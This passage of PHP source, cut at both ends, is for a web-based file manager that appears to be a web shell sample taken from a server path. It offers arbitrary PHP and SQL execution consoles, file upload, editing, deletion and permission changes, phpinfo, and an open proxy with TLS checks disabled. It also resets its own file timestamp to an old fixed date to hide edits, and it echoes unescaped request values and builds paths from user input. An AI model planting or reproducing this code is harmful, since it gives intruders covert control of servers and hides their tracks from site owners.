        $base = fm_site_url() . '/' . basename("/var/www/html/filemanager.php.b97a2bff6e2ad04faae140daad367190.bin");
        $baseq = $base . '?proxy=true&url=';
        $link = $baseq . urlencode($link);
    } elseif (strripos($link, 'css')) {
        //как-то тоже подменять надо
    }
    return $matches[1] . '="' . $link . '"';
}
function fm_tpl_form($lng_tpl)
{
    global ${$lng_tpl . '_templates'};
    $tpl_arr = json_decode(${$lng_tpl . '_templates'}, true);
    $str = '';
    foreach ($tpl_arr as $ktpl => $vtpl) {
        $str .= '<tr><td class="row1"><input name="' . $lng_tpl . '_name[]" value="' . $ktpl . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_value[]"  cols="55" rows="5" class="textarea_input">' . $vtpl . '</textarea> <input name="del_' . rand() . '" type="button" onClick="this.parentNode.parentNode.remove();" value="' . __('Delete') . '"/></td></tr>';
    }
    return '
<table>
<tr><th colspan="2">' . strtoupper($lng_tpl) . ' ' . __('templates') . ' ' . fm_run_input($lng_tpl) . '</th></tr>
<form method="post" action="">
<input type="hidden" value="' . $lng_tpl . '" name="tpl_edited">
<tr><td class="row1">' . __('Name') . '</td><td class="row2 whole">' . __('Value') . '</td></tr>
' . $str . '
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \'' . fm_url() . '?fm_settings=true\';" value="' . __('Reset') . '"/> <input type="submit" value="' . __('Save') . '" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="' . $lng_tpl . '" name="tpl_edited">
<tr><td class="row1"><input name="' . $lng_tpl . '_new_name" value="" placeholder="' . __('New') . ' ' . __('Name') . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_new_value"  cols="55" rows="5" class="textarea_input" placeholder="' . __('New') . ' ' . __('Value') . '"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="' . __('Add') . '" ></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
    if (isset($_POST['login']) && isset($_POST['password'])) {
        if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) {
            setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + 86400 * $auth['days_authorization']);
            $_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']);
        }
    }
    if (!isset($_COOKIE[$auth['cookie_name']]) or $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) {
        echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>' . __('File manager') . '</title>
</head>
<body>
<form action="" method="post">
' . __('Login') . ' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
' . __('Password') . ' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="' . __('Enter') . '" class="fm_input">
</form>
' . fm_lang_form($language) . '
</body>
</html>
';
        die;
    }
    if (isset($_POST['quit'])) {
        unset($_COOKIE[$auth['cookie_name']]);
        setcookie($auth['cookie_name'], '', time() - 86400 * $auth['days_authorization']);
        header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']);
    }
}
// Change config
if (isset($_GET['fm_settings'])) {
    if (isset($_GET['fm_config_delete'])) {
        unset($_COOKIE['fm_config']);
        setcookie('fm_config', '', time() - 86400 * $auth['days_authorization']);
        header('Location: ' . fm_url() . '?fm_settings=true');
        exit(0);
    } elseif (isset($_POST['fm_config'])) {
        $fm_config = $_POST['fm_config'];
        setcookie('fm_config', serialize($fm_config), time() + 86400 * $auth['days_authorization']);
        $_COOKIE['fm_config'] = serialize($fm_config);
        $msg = __('Settings') . ' ' . __('done');
    } elseif (isset($_POST['fm_login'])) {
        if (empty($_POST['fm_login']['authorize'])) {
            $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
        }
        $fm_login = json_encode($_POST['fm_login']);
        $fgc = file_get_contents('fm.php');
        $search = preg_match('#authorization[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches);
        if (!empty($matches[1])) {
            $filemtime = filemtime("/var/www/html/filemanager.php.b97a2bff6e2ad04faae140daad367190.bin");
            $replace = str_replace('{"' . $matches[1] . '"}', $fm_login, $fgc);
            if (file_put_contents("/var/www/html/filemanager.php.b97a2bff6e2ad04faae140daad367190.bin", $replace)) {
                $msg .= __('File updated');
                if ($_POST['fm_login']['login'] != $auth['login']) {
                    $msg .= ' ' . __('Login') . ': ' . $_POST['fm_login']['login'];
                }
                if ($_POST['fm_login']['password'] != $auth['password']) {
                    $msg .= ' ' . __('Password') . ': ' . $_POST['fm_login']['password'];
                }
                $auth = $_POST['fm_login'];
            } else {
                $msg .= __('Error occurred');
            }
            touch("/var/www/html/filemanager.php.b97a2bff6e2ad04faae140daad367190.bin", $filemtime);
        }
    } elseif (isset($_POST['tpl_edited'])) {
        $lng_tpl = $_POST['tpl_edited'];
        if (!empty($_POST[$lng_tpl . '_name'])) {
            $fm_php = json_encode(array_combine($_POST[$lng_tpl . '_name'], $_POST[$lng_tpl . '_value']), JSON_HEX_APOS);
        } elseif (!empty($_POST[$lng_tpl . '_new_name'])) {
            $fm_php = json_encode(json_decode(${$lng_tpl . '_templates'}, true) + array($_POST[$lng_tpl . '_new_name'] => $_POST[$lng_tpl . '_new_value']), JSON_HEX_APOS);
        }
        if (!empty($fm_php)) {
            $fgc = file_get_contents('fm.php');
            $search = preg_match('#' . $lng_tpl . '_templates[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches);
            if (!empty($matches[1])) {
                $filemtime = filemtime("/var/www/html/filemanager.php.b97a2bff6e2ad04faae140daad367190.bin");
                $replace = str_replace('{"' . $matches[1] . '"}', $fm_php, $fgc);
                if (file_put_contents("/var/www/html/filemanager.php.b97a2bff6e2ad04faae140daad367190.bin", $replace)) {
                    ${$lng_tpl . '_templates'} = $fm_php;
                    $msg .= __('File updated');
                } else {
                    $msg .= __('Error occurred');
                }
                touch("/var/www/html/filemanager.php.b97a2bff6e2ad04faae140daad367190.bin", $filemtime);
            }
        } else {
            $msg .= __('Error occurred');
        }
    }
}
// Just show image
if (isset($_GET['img'])) {
    $file = base64_decode($_GET['img']);
    if ($info = getimagesize($file)) {
        switch ($info[2]) {
            //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
            case 1:
                $ext = 'gif';
                break;
            case 2:
                $ext = 'jpeg';
                break;
            case 3:
                $ext = 'png';
                break;
            case 6:
                $ext = 'bmp';
                break;
            default:
                die;
        }
        header("Content-type: image/{$ext}");
        echo file_get_contents($file);
        die;
    }
}
// Just download file
if (isset($_GET['download'])) {
    $file = base64_decode($_GET['download']);
    fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
    phpinfo();
    die;
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && !empty($fm_config['enable_proxy'])) {
    $url = isset($_GET['url']) ? urldecode($_GET['url']) : '';
    $proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	' . fm_home() . ' <a href="' . $url . '" target="_blank">Url</a>: <input type="text" name="url" value="' . $url . '" size="55">
	<input type="submit" value="' . __('Show') . '" class="fm_input">
	</form>
</div>
';
    if ($url) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_REFERER, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $result = curl_exec($ch);
        curl_close($ch);
        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
        $result = preg_replace('%(<body.*?>)%i', '$1<style>' . fm_home_style() . '</style>' . $proxy_form, $result);
        echo $result;
        die;
    }
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?php 
echo __('File manager');
?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAA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zDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?php 
echo fm_home_style();
?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php 
$url_inc = '?fm=true';
if (isset($_POST['sqlrun']) && !empty($fm_config['enable_sql_console'])) {
    $res = empty($_POST['sql']) ? '' : $_POST['sql'];
    $res_lng = 'sql';
} elseif (isset($_POST['phprun']) && !empty($fm_config['enable_php_console'])) {
    $res = empty($_POST['php']) ? '' : $_POST['php'];
    $res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
    echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">' . __('File manager') . ' - ' . __('Settings') . '</th></tr>
' . (empty($msg) ? '' : '<tr><td class="row2" colspan="2">' . $msg . '</td></tr>') . '
' . fm_config_checkbox_row(__('Show size of the folder'), 'show_dir_size') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('pictures'), 'show_img') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('Make directory'), 'make_directory') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('New file'), 'new_file') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('Upload'), 'upload_file') . '
' . fm_config_checkbox_row(__('Show') . ' PHP version', 'show_php_ver') . '
' . fm_config_checkbox_row(__('Show') . ' PHP ini', 'show_php_ini') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('Generation time'), 'show_gt') . '
' . fm_config_checkbox_row(__('Show') . ' xls', 'show_xls') . '
' . fm_config_checkbox_row(__('Show') . ' PHP ' . __('Console'), 'enable_php_console') . '
' . fm_config_checkbox_row(__('Show') . ' SQL ' . __('Console'), 'enable_sql_console') . '
<tr><td class="row1"><input name="fm_config[sql_server]" value="' . $fm_config['sql_server'] . '" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="' . $fm_config['sql_username'] . '" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="' . $fm_config['sql_password'] . '" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="' . $fm_config['sql_db'] . '" type="text"></td><td class="row2 whole">SQL DB</td></tr>
' . fm_config_checkbox_row(__('Show') . ' Proxy', 'enable_proxy') . '
' . fm_config_checkbox_row(__('Show') . ' phpinfo()', 'show_phpinfo') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('Settings'), 'fm_settings') . '
<tr><td class="row3"><a href="' . fm_url() . '?fm_settings=true&fm_config_delete=true">' . __('Reset settings') . '</a></td><td class="row3"><input type="submit" value="' . __('Save') . '" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">' . __('Settings') . ' - ' . __('Authorization') . '</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" ' . ($auth['authorize'] ? 'checked' : '') . ' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">' . __('Authorization') . '</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="' . $auth['login'] . '" type="text"></td><td class="row2 whole">' . __('Login') . '</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="' . $auth['password'] . '" type="text"></td><td class="row2 whole">' . __('Password') . '</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="' . $auth['cookie_name'] . '" type="text"></td><td class="row2 whole">' . __('Cookie') . '</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="' . $auth['days_authorization'] . '" type="text"></td><td class="row2 whole">' . __('Days') . '</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">' . $auth['script'] . '</textarea></td><td class="row2 whole">' . __('Script') . '</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="' . __('Save') . '" ></td></tr>
</form>
</table>';
    echo fm_tpl_form('php'), fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
    die($proxy_form);
} elseif (isset($res_lng)) {
    ?>
<table class="whole">
<tr>
    <th><?php 
    echo __('File manager') . ' - ' . $path;
    ?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?php 
    echo strtoupper($res_lng);
    ?> <?php 
    echo __('Console');
    if ($res_lng == 'sql') {
        echo ' - Database: ' . $fm_config['sql_db'] . '</h2></td><td>' . fm_run_input('php');
    } else {
        echo '</h2></td><td>' . fm_run_input('sql');
    }
    ?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?php 
    echo $url_inc . '&path=' . $path;
    ?>"><?php 
    echo __('Back');
    ?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?php 
    echo $res_lng;
    ?>" cols="80" rows="10" style="width: 90%"><?php 
    echo $res;
    ?></textarea><br/>
		<input type="reset" value="<?php 
    echo __('Reset');
    ?>">
		<input type="submit" value="<?php 
    echo __('Submit');
    ?>" name="<?php 
    echo $res_lng;
    ?>run">
<?php 
    $str_tmpl = $res_lng . '_templates';
    $tmpl = !empty(${$str_tmpl}) ? json_decode(${$str_tmpl}, true) : '';
    if (!empty($tmpl)) {
        $active = isset($_POST[$res_lng . '_tpl']) ? $_POST[$res_lng . '_tpl'] : '';
        $select = '<select name="' . $res_lng . '_tpl" title="' . __('Template') . '" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\'' . $res_lng . '\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\'' . $res_lng . '\'].value =\'\';" >' . "\n";
        $select .= '<option value="-1">' . __('Select') . "</option>\n";
        foreach ($tmpl as $key => $value) {
            $select .= '<option value="' . $value . '" ' . (!empty($value) && $value == $active ? 'selected' : '') . ' >' . __($key) . "</option>\n";
        }
        $select .= "</select>\n";
        echo $select;
    }
    ?>
		</form>
	</td>
</tr>
</table>
<?php 
    if (!empty($res)) {
        $fun = 'fm_' . $res_lng;
        echo '<h3>' . strtoupper($res_lng) . ' ' . __('Result') . '</h3><pre>' . $fun($res) . '</pre>';
    }
} elseif (!empty($_REQUEST['edit'])) {
    if (!empty($_REQUEST['save'])) {
        $fn = $path . $_REQUEST['edit'];
        $filemtime = filemtime($fn);
        if (file_put_contents($fn, $_REQUEST['newcontent'])) {
            $msg .= __('File updated');
        } else {
            $msg .= __('Error occurred');
        }
        if ($_GET['edit'] == basename("/var/www/html/filemanager.php.b97a2bff6e2ad04faae140daad367190.bin")) {
            touch("/var/www/html/filemanager.php.b97a2bff6e2ad04faae140daad367190.bin", 1415116371);
        } else {
            touch($fn, $filemtime);
        }
    }
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
    ?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?php 
    echo __('File manager') . ' - ' . __('Edit') . ' - ' . $path . $_REQUEST['edit'];
    ?></th>
</tr>
<tr>
    <td class="row1">
        <?php 
    echo $msg;
    ?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?php 
    echo fm_home();
    ?> <a href="<?php 
    echo $backlink;
    ?>"><?php 
    echo __('Back');
    ?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?php 
    echo $editlink;
    ?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?php 
    echo htmlspecialchars($oldcontent);
    ?></textarea>
            <input type="submit" name="save" value="<?php 
    echo __('Submit');
    ?>">
            <input type="submit" name="cancel" value="<?php 
    echo __('Cancel');
    ?>">
        </form>
    </td>
</tr>
</table>
<?php 
} elseif (!empty($_REQUEST['rights'])) {
    if (!empty($_REQUEST['save'])) {
        if (fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) {
            $msg .= __('File updated');
        } else {
            $msg .= __('Error occurred');
        }
    }
    clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
    ?>
<table class="whole">
<tr>
    <th><?php 
    echo __('File manager') . ' - ' . $path;
    ?></th>
</tr>
<tr>
    <td class="row1">
        <?php 
    echo $msg;
    ?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?php 
    echo $backlink;
    ?>"><?php 
    echo __('Back');
    ?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?php 
    echo $link;
    ?>">
           <?php 
    echo __('Rights') . ' - ' . $_REQUEST['rights'];
    ?> <input type="text" name="rights_val" value="<?php 
    echo $oldrights;
    ?>">
        <?php 
    if (is_dir($path . $_REQUEST['rights'])) {
        ?>
            <input type="checkbox" name="recursively" value="1"> <?php 
        echo __('Recursively');
        ?><br/>
        <?php 
    }
    ?>
            <input type="submit" name="save" value="<?php 
    echo __('Submit');
    ?>">
        </form>
    </td>
</tr>
</table>
<?php 
} elseif (!empty($_REQUEST['rename']) && $_REQUEST['rename'] != '.') {
    if (!empty($_REQUEST['save'])) {
        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
        $msg .= __('File updated');
        $_REQUEST['rename'] = $_REQUEST['newname'];
    }
    clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
    ?>
<table class="whole">
<tr>
    <th><?php 
    echo __('File manager') . ' - ' . $path;
    ?></th>
</tr>
<tr>
    <td class="row1">
        <?php 
    echo $msg;
    ?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?php 
    echo $backlink;
    ?>"><?php 
    echo __('Back');
    ?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?php 
    echo $link;
    ?>">
            <?php 
    echo __('Rename');
    ?>: <input type="text" name="newname" value="<?php 
    echo $_REQUEST['rename'];
    ?>"><br/>
            <input type="submit" name="save" value="<?php 
    echo __('Submit');
    ?>">
        </form>
    </td>
</tr>
</table>
<?php 
} else {
    //Let's rock!
    $msg = '';
    if (!empty($_FILES['upload']) && !empty($fm_config['upload_file'])) {
        if (!empty($_FILES['upload']['name'])) {
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if (!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) {
                $msg .= __('Error occurred');
            } else {
                $msg .= __('Files uploaded') . ': ' . $_FILES['upload']['name'];
            }
        }
    } elseif (!empty($_REQUEST['delete']) && $_REQUEST['delete'] != '.') {
        if (!fm_del_files($path . $_REQUEST['delete'], true)) {
            $msg .= __('Error occurred');
        } else {
            $msg .= __('Deleted') . ' ' . $_REQUEST['delete'];
        }
    } elseif (!empty($_REQUEST['mkdir']) && !empty($fm_config['make_directory'])) {
        if (!@mkdir($path . $_REQUEST['dirname'], 0777)) {
            $msg .= __('Error occurred');
        } else {
            $msg .= __('Created') . ' ' . $_REQUEST['dirname'];
        }
    } elseif (!empty($_REQUEST['mkfile']) && !empty($fm_config['new_file'])) {
        if (!($fp = @fopen($path . $_REQUEST['filename'], "w"))) {
            $msg .= __('Error occurred');
        } else {
            fclose($fp);
            $msg .= __('Created') . ' ' . $_REQUEST['filename'];
        }
    } elseif (isset($_GET['zip'])) {
        $source = base64_decode($_GET['zip']);
        $destination = basename($source) . '.zip';
        set_time_limit(0);
        $phar = new PharData($destination);
        $phar->buildFromDirectory($source);
        if (is_file($destination)) {
            $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '.&nbsp;' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . '&nbsp;<a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>';
        } else {
            $msg .= __('Error occurred') . ': ' . __('no files');
        }
    } elseif (isset($_GET['gz'])) {
        $source = base64_decode($_GET['gz']);
        $archive = $source . '.tar';
        $destination = basename($source) . '.tar';
        if (is_file($archive)) {
            unlink($archive);
        }
        if (is_file($archive . '.gz')) {
            unlink($archive . '.gz');
        }
        clearstatcache();
        set_time_limit(0);
        //die();
        $phar = new PharData($destination);
        $phar->buildFromDirectory($source);
        $phar->compress(Phar::GZ, '.tar.gz');
        unset($phar);
        if (is_file($archive)) {
            if (is_file($archive . '.gz')) {
                unlink($archive);
                $destination .= '.gz';
            }
            $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '.&nbsp;' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . '&nbsp;<a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>';
        } else {
            $msg .= __('Error occurred') . ': ' . __('no files');
        }
    } elseif (isset($_GET['decompress'])) {
        // $source = base64_decode($_GET['decompress']);
        // $destination = basename($source);
        // $ext = end(explode(".", $destination));
        // if ($ext=='zip' OR $ext=='gz') {
        // $phar = new PharData($source);
        // $phar->decompress();
        // $base_file = str_replace('.'.$ext,'',$destination);
        // $ext = end(explode(".", $base_file));
        // if ($ext=='tar'){
        // $phar = new PharData($base_file);
        // $phar->extractTo(dir($source));
        // }
        // }
        // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
    } elseif (isset($_GET['gzfile'])) {
        $source = base64_decode($_GET['gzfile']);
        $archive = $source . '.tar';
        $destination = basename($source) . '.tar';
        if (is_file($archive)) {
            unlink($archive);
        }
        if (is_file($archive . '.gz')) {
            unlink($archive . '.gz');
        }
        set_time_limit(0);
        //echo $destination;
        $ext_arr = explode('.', basename($source));
        if (isset($ext_arr[1])) {
            unset($ext_arr[0]);
            $ext = implode('.', $ext_arr);
        }
        $phar = new PharData($destination);
        $phar->addFile($source);
        $phar->compress(Phar::GZ, $ext . '.tar.gz');
        unset($phar);
        if (is_file($archive)) {
            if (is_file($archive . '.gz')) {
                unlink($archive);
                $destination .= '.gz';
            }
            $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '.&nbsp;' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . '&nbsp;<a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>';
        } else {
            $msg .= __('Error occurred') . ': ' . __('no files');
        }
    }
    ?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?php 
    echo __('File manager');
    echo !empty($path) ? ' - ' . $path : '';
    ?></th>
</tr>
<?php 
    if (!empty($msg)) {
        ?>
<tr>
	<td colspan="2" class="row2"><?php 
        echo $msg;
        ?></td>
</tr>
<?php 
    }
    ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?php 
    echo fm_home();
    ?>
			</td>
			<td>
			<?php 
    if (!empty($fm_config['make_directory'])) {
        ?>
				<form method="post" action="<?php 
        echo $url_inc;
        ?>">
				<input type="hidden" name="path" value="<?php 
        echo $path;
        ?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?php 
        echo __('Make directory');
        ?>">
				</form>
			<?php 
    }
    ?>
